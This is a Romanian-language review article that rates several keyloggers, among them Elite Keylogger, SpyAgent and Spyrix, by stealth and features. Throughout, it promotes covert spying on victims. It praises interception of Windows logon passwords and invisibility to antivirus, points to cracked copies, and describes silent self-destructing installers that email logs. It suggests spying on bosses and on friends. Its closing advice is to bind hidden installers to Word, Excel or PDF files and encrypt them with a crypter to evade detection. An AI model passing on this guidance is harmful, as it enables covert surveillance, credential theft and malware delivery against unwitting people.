Poate unul dintre cei mai buni keylogger creat vreodată. Printre capacitățile sale, pe lângă set standard(interceptarea tuturor clicurilor în contextul aplicațiilor / ferestrelor / site-urilor), include interceptarea mesajelor de mesagerie instant, imagini de la o cameră web și, de asemenea, ceea ce este FOARTE important! - interceptarea parolelor serviciului WinLogon. Cu alte cuvinte, interceptează parolele de conectare Windows (inclusiv cele de domeniu!). Acest lucru a devenit posibil datorită muncii sale la nivelul driverului de sistem și lansării chiar și în faza de pornire a sistemului de operare. Datorită aceleiași caracteristici, acest program rămâne complet invizibil atât pentru Kasperosky, cât și pentru toate celelalte programe anti-malware. Sincer, nu am întâlnit un singur keylogger capabil de asta.

Cu toate acestea, nu ar trebui să vă amăgiți prea mult. Programul de instalare în sine este recunoscut de antivirus foarte ușor și pentru a-l instala veți avea nevoie de drepturi de administrator și dezactivarea tuturor serviciilor antivirus. După instalare, totul va funcționa perfect în orice caz.

În plus, caracteristica descrisă (care funcționează la nivel de nucleu al sistemului de operare) introduce cerințe pentru versiunea sistemului de operare pe care vor lucra keylogger-ul. Versiunea 5-5.3 (linkuri către care sunt prezentate mai jos) acceptă totul până la Windows 7 inclusiv. Câștigă și 8/10 familia Windows server (2003 / 2008 / 2012) nu mai sunt acceptate. Există versiunea 6, care funcționează perfect, inclusiv. pe win 8 și 10, totuși, în prezent nu este posibil să găsiți o versiune crăpată. Probabil va apărea în viitor. Între timp, puteți descărca Elite keylogger 5.3 din linkul de mai sus.

Fără mod networking, prin urmare, nu este potrivit pentru utilizare de către angajatori (pentru a monitoriza computerele angajaților lor) sau un întreg grup de oameni.

Un punct important este abilitatea de a crea o distribuție de instalare cu setări predefinite (de exemplu, cu o adresă de e-mail specificată la care vor trebui trimise jurnalele). În același timp, la final obțineți un kit de distribuție care, la lansare, nu afișează absolut niciun avertisment sau ferestre, iar după instalare se poate autodistruge chiar (dacă bifați opțiunea corespunzătoare).

Mai multe capturi de ecran ale versiunii 5 (pentru a arăta cât de frumos și convenabil este totul):

2. Keylogger all-in-one.

Evaluări (din 10):

  • Stealth: 3
  • Comoditate/utilizabilitate: 9
  • Functionalitate: 8

Este, de asemenea, un lucru foarte, foarte convenabil. Funcționalitatea este destul de la nivelul keylogger-ului Elite. Lucrurile stau mai rău cu secretul. Parolele Winlogon nu mai sunt interceptate, nu este un driver și nu este încorporat în kernel. Cu toate acestea, este instalat în directoare de sistem și ascunse AppData, care nu sunt atât de ușor de accesat utilizatorilor neautorizați(nu celor in numele carora a fost instalat). Cu toate acestea, mai devreme sau mai târziu antivirusurile fac acest lucru cu succes, ceea ce face ca acest lucru să nu fie deosebit de fiabil și sigur atunci când este folosit, de exemplu, la locul de muncă pentru a-ți spiona proprii superiori. ;) Lipirea lui de ceva sau criptarea codului pentru a-l ascunde de antiviruși nu va funcționa.

Funcționează pe orice versiune de Win OS (ceea ce este frumos și practic).

În rest, totul este în regulă: înregistrează totul (cu excepția parolelor de conectare Windows), îl trimite oriunde (inclusiv e-mail, ftp, unitate flash fixă). În ceea ce privește confortul, totul este, de asemenea, excelent.

3. Spytech SpyAgent.

Evaluări (din 10):

  • Stealth: 4
  • Comoditate/utilizabilitate: 8
  • Functionalitate: 10

De asemenea, un keylogger bun, deși cu un secret îndoielnic. Versiunile de SO acceptate sunt, de asemenea, toate posibile. Funcționalitatea este similară cu opțiunile anterioare. Mânca caracteristică interesantă autodistrugere după o anumită perioadă de timp (sau la atingerea unei date prestabilite).

În plus, este posibil să înregistrezi video de la o cameră web și sunet de la un microfon, care poate fi și foarte popular și pe care cei doi reprezentanți anteriori nu le au.

Există un mod de funcționare în rețea, care este convenabil pentru monitorizarea unei întregi rețele de computere. Apropo, StaffCop o are (nu este inclusă în recenzie din cauza inutilității sale pentru un utilizator - un individ). Poate că acest program este ideal pentru ca angajatorii să-și spioneze angajații (deși liderii din acest domeniu sunt necondiționat StaffCop și LanAgent - dacă sunteți o entitate juridică, asigurați-vă că vă uitați în direcția lor). Sau pentru a urmări urmașii tăi cărora le place să stea și să urmărească „site-uri pentru adulți”. Aceste. unde ceea ce este necesar nu este ascunderea, ci comoditatea (inclusiv o grămadă de rapoarte frumoase de jurnal etc.) și funcționalitatea pentru blocarea site-urilor/programelor specificate (de asemenea, SpyAgent o are).

4. Monitor personal Spyrix.

Evaluări (din 10):

  • Stealth: 4
  • Comoditate/utilizabilitate: 6
  • Functionalitate: 10

Functionalitatea este la nivelul candidatului anterior, dar aceleasi probleme cu secretul. În plus, funcționalitatea include lucru interesant: Copiați fișierele de pe unitățile USB introduse în computerul dvs., precum și vizualizare de la distanță se conectează printr-un cont web pe site-ul Spyrix (dar vom descărca o versiune crackată, așa că nu va funcționa pentru noi).

5. Monitor personal Spyrix.

Evaluări (din 10):

  • Stealth: 3
  • Comoditate/utilizabilitate: 6
  • Functionalitate: 8

Nu o voi descrie în detaliu, pentru că... această instanță nu are nimic pe care unul dintre spionii anteriori să nu aibă, totuși, cuiva poate să-i placă acest keylogger (cel puțin pentru interfața sa).

Cu ce ​​ajungem?

Problema folosirii unui keylogger este mai mult etică decât tehnică și depinde foarte mult de obiectivele tale.

Dacă sunteți un angajator care dorește să-și controleze angajații, nu ezitați să înființați StaffCop, să colectați permisiunea scrisă de la toți angajații pentru astfel de acțiuni (altfel s-ar putea să fiți taxat serios pentru astfel de lucruri) și slujba este în geantă. Deși personal știu mai multe moduri eficiente creșterea performanței angajaților săi.

Dacă sunteți un specialist IT începător care vrea doar să experimenteze cum este să spargeți pe cineva și cum funcționează acest lucru în general, atunci înarmați-vă cu metode de inginerie socială și efectuați teste pe prietenii dvs., folosind oricare dintre exemplele date. Cu toate acestea, rețineți: detectarea unei astfel de activități de către victime nu contribuie la prietenie și longevitate. ;) Și cu siguranță nu ar trebui să testați acest lucru la locul de muncă. Notează-mi cuvintele: am experiență cu asta. ;)

Dacă scopul tău este să-ți spionezi prietenul, soțul, vecinul sau poate chiar o faci în mod regulat și pentru bani, gândește-te bine dacă merită. La urma urmei, mai devreme sau mai târziu se pot atrage. Și nu merită: „a scotoci prin rufele murdare ale altcuiva nu este o plăcere plăcută”. Dacă mai aveți nevoie (sau poate lucrați în domeniul investigarii infracțiunilor informatice și astfel de sarcini fac parte din responsabilitățile dumneavoastră profesionale), atunci există doar două opțiuni: Șobolanul! și Elite Keylogger. În modul de distribuții de instalare ascunse, lipite cu word / excel / pdf. Și este mai bine, dacă este posibil, criptat cu un criptor nou. Doar în acest caz putem garanta activități mai sigure și succes real.

Dar, în orice caz, merită să ne amintim că utilizarea competentă a keyloggerilor este doar o mică legătură în atingerea scopului (inclusiv chiar și un simplu atac). Nu aveți întotdeauna drepturi de administrator, nu aveți întotdeauna acces fizic și nu toți utilizatorii vor deschide, citi și, cu atât mai mult, vă vor descărca atașamentele/linkurile (bună ziua inginerie socială), antivirusul nu va fi întotdeauna dezactivat /your keylogger/cryptor nu va fi întotdeauna necunoscut pentru ei. Toate acestea și multe probleme nespuse pot fi rezolvate, dar soluția lor este subiectul unei serii întregi de articole separate.

Într-un cuvânt, tocmai ați început să vă plonjați într-o situație complexă, periculoasă, dar nebunească lume interesantă securitatea informatiei. :)

Cu stimă,Lysyak A.S.